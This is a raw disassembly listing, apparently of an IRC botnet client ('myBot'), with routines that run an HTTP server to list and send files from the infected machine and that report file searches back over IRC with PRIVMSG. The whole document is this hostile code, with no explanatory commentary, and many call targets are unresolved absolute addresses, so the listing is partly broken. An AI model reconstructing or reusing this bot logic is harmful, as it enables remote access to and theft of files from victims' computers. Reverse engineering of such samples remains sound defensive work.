		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFF4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB03C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_4299C8 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2670E4Ch
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AE0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB03C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 26F08DDh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730C3Eh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26508EFh

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433AAC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEE4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2670000h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB03C
		nop
		call	near ptr 2670914h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25C0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2740831h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293F4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 2670000h
		nop

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F08DDh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2730C3Eh
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A68o
					; ___:00437A7Co
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2770000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF38
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 26508EFh
		nop

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAF14
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAFA4
		push	[ebp+arg_10]
